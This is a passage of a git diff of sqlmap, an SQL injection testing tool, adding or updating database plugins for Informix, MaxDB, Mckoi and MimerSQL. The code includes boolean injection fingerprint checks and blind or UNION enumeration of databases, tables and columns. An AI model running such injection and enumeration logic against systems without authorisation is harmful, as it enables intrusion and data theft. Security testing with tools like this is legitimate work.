+ >>> Backend.setVersion('12.10') + ['12.10'] + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + retVal = expression + + if isDBMSVersionAtLeast("11.70"): + excluded = {} + for _ in re.findall(r"DBINFO\([^)]+\)", expression): + excluded[_] = randomStr() + expression = expression.replace(_, excluded[_]) + + retVal = Syntax._escape(expression, quote, escaper) + + for _ in excluded.items(): + retVal = retVal.replace(_[1], _[0]) + + return retVal diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py new file mode 100644 index 00000000000..7c19fd8799c --- /dev/null +++ b/plugins/dbms/informix/takeover.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.__basedir = None + self.__datadir = None + + GenericTakeover.__init__(self) diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 089f26154e6..fbf06a37e08 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take def __init__(self): self.excludeDbsList = MAXDB_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.MAXDB] = Syntax.unescape + unescaper[DBMS.MAXDB] = Syntax.escape diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 213982f60a3..73b8864d24d 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,18 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - def __init__(self): - GenericConnector.__init__(self) - def connect(self): - errMsg = "on SAP MaxDB it is not possible to establish a " + errMsg = "on SAP MaxDB it is not (currently) possible to establish a " errMsg += "direct connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 96e0d13314c..ab791f6e74c 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,22 +1,33 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend -from lib.core.common import randomStr +import re + +from lib.core.common import isListLike +from lib.core.common import isTechniqueAvailable +from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapNoneDataException +from lib.core.enums import DBMS +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.utils.brute import columnExists +from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six +from thirdparty.six.moves import zip as _zip class Enumeration(GenericEnumeration): def __init__(self): @@ -26,7 +37,7 @@ def __init__(self): def getPasswordHashes(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} @@ -37,13 +48,12 @@ def getDbs(self): infoMsg = "fetching database names" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].dbs - randStr = randomStr() + rootQuery = queries[DBMS.MAXDB].dbs query = rootQuery.inband.query - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.schemaname' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True) if retVal: - kb.data.cachedDbs = retVal[0].values()[0] + kb.data.cachedDbs = next(six.itervalues(retVal[0])) if kb.data.cachedDbs: kb.data.cachedDbs.sort() @@ -60,27 +70,27 @@ def getTables(self, bruteForce=None): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() - for db in filter(None, dbs): + for db in (_ for _ in dbs if _): dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].tables + rootQuery = queries[DBMS.MAXDB].tables for db in dbs: - randStr = randomStr() query = rootQuery.inband.query % (("'%s'" % db) if db != "USER" else 'USER') - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.tablename' % randStr], blind=True) + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.tablename' % kb.aliasName], blind=blind) if retVal: - for table in retVal[0].values()[0]: - if not kb.data.cachedTables.has_key(db): + for table in list(retVal[0].values())[0]: + if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) @@ -90,70 +100,123 @@ def getTables(self, bruteForce=None): return kb.data.cachedTables - def getColumns(self, onlyColNames=False): + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: - warnMsg = "missing database parameter, sqlmap is going " + warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) + if conf.col: + colList = conf.col.split(',') + else: + colList = [] + + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + + for col in colList: + colList[colList.index(col)] = safeSQLIdentificatorNaming(col) + if conf.tbl: - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() + tblList = list(kb.data.cachedTables.values()) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) - rootQuery = queries[Backend.getIdentifiedDbms()].columns + if bruteForce: + resumeAvailable = False + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + resumeAvailable = True + break + + if resumeAvailable and not conf.freshQueries or colList: + columns = {} + + for column in colList: + columns[column] = None + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + columns[colName] = colType + + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns + else: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} + + return kb.data.cachedColumns + + message = "do you want to use common column existence check? [y/N/q] " + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + if choice == 'N': + return + elif choice == 'Q': + raise SqlmapUserQuitException + else: + return columnExists(paths.COMMON_COLUMNS) + + rootQuery = queries[DBMS.MAXDB].columns for tbl in tblList: - if conf.db is not None and len(kb.data.cachedColumns) > 0 \ - and conf.db in kb.data.cachedColumns and tbl in \ - kb.data.cachedColumns[conf.db]: + if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - return { conf.db: kb.data.cachedColumns[conf.db]} + return {conf.db: kb.data.cachedColumns[conf.db]} + + if dumpMode and colList: + table = {} + table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - randStr = randomStr() + blind = not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) + query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') - retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.columnname' % randStr,'%s.datatype' % randStr,'%s.len' % randStr], blind=True) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.columnname' % kb.aliasName, '%s.datatype' % kb.aliasName, '%s.len' % kb.aliasName], blind=blind) if retVal: table = {} columns = {} - for columnname, datatype, length in zip(retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): + for columnname, datatype, length in _zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns @@ -161,8 +224,22 @@ def getColumns(self, onlyColNames=False): return kb.data.cachedColumns - def searchDb(self): - warnMsg = "on SAP MaxDB it is not possible to search databases" - logger.warn(warnMsg) + def getPrivileges(self, *args, **kwargs): + warnMsg = "on SAP MaxDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def search(self): + warnMsg = "on SAP MaxDB search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on SAP MaxDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) return [] diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index 52c43657e4e..04f14201059 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on SAP MaxDB reading of files is not supported" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SAP MaxDB writing of files is not supported" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index c6c65b523ac..53c27d55b9d 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import Format +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -22,7 +23,7 @@ class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MAXDB) - def __versionCheck(self): + def _versionCheck(self): infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) @@ -33,13 +34,13 @@ def __versionCheck(self): if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return None minor, major = None, None - for version in [6, 7]: + for version in (6, 7): result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version) if result: @@ -76,7 +77,7 @@ def getFingerprint(self): value += DBMS.MAXDB return value - actVer = Format.getDbms() + " (%s)" % self.__versionCheck() + actVer = Format.getDbms() + " (%s)" % self._versionCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer @@ -91,7 +92,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() @@ -111,7 +112,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -122,7 +123,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index ec704ecda31..17a0a02c257 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,20 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod - def unescape(expression, quote=True): - return expression + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ - @staticmethod - def escape(expression): return expression diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index c077e31485b..e93813f99ea 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,31 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on SAP MaxDB it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SAP MaxDB it is not possible to execute commands" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SAP MaxDB it is not possible to establish an " errMsg += "out-of-band connection" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py new file mode 100644 index 00000000000..eafd1d3c868 --- /dev/null +++ b/plugins/dbms/mckoi/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MCKOI_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.mckoi.enumeration import Enumeration +from plugins.dbms.mckoi.filesystem import Filesystem +from plugins.dbms.mckoi.fingerprint import Fingerprint +from plugins.dbms.mckoi.syntax import Syntax +from plugins.dbms.mckoi.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MckoiMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Mckoi methods + """ + + def __init__(self): + self.excludeDbsList = MCKOI_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MCKOI] = Syntax.escape diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py new file mode 100644 index 00000000000..fe9093e7b99 --- /dev/null +++ b/plugins/dbms/mckoi/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Mckoi it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py new file mode 100644 index 00000000000..9ccc431eaa4 --- /dev/null +++ b/plugins/dbms/mckoi/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Mckoi it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on Mckoi it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on Mckoi it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Mckoi it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Mckoi it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Mckoi it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Mckoi it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on Mckoi it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on Mckoi it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Mckoi it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Mckoi it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Mckoi search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on Mckoi it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Mckoi it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py new file mode 100644 index 00000000000..66d946579f4 --- /dev/null +++ b/plugins/dbms/mckoi/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Mckoi it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Mckoi it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py new file mode 100644 index 00000000000..312f3e3c16f --- /dev/null +++ b/plugins/dbms/mckoi/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MCKOI_DEFAULT_SCHEMA +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MCKOI) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MCKOI + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MCKOI_ALIASES): + setDbms(DBMS.MCKOI) + return True + + infoMsg = "testing %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DATEOB()>=DATEOB(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ABS(1/0)>ABS(0/1)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MCKOI) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = MCKOI_DEFAULT_SCHEMA diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/mckoi/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py new file mode 100644 index 00000000000..d22277b674d --- /dev/null +++ b/plugins/dbms/mckoi/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py new file mode 100644 index 00000000000..af8f2232ea5 --- /dev/null +++ b/plugins/dbms/mimersql/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MIMERSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.mimersql.enumeration import Enumeration +from plugins.dbms.mimersql.filesystem import Filesystem +from plugins.dbms.mimersql.fingerprint import Fingerprint +from plugins.dbms.mimersql.syntax import Syntax +from plugins.dbms.mimersql.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MimerSQL methods + """ + + def __init__(self): + self.excludeDbsList = MIMERSQL_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MIMERSQL] = Syntax.escape diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py new file mode 100644 index 00000000000..e6bcced6b96 --- /dev/null +++ b/plugins/dbms/mimersql/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import mimerpy +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/mimersql/MimerPy + User guide: https://github.com/mimersql/MimerPy/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except mimerpy.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except mimerpy.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (mimerpy.OperationalError, mimerpy.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except mimerpy.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py new file mode 100644 index 00000000000..85ea9c93f28 --- /dev/null +++ b/plugins/dbms/mimersql/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MimerSQL it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MimerSQL it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on MimerSQL it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MimerSQL it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/mimersql/filesystem.py 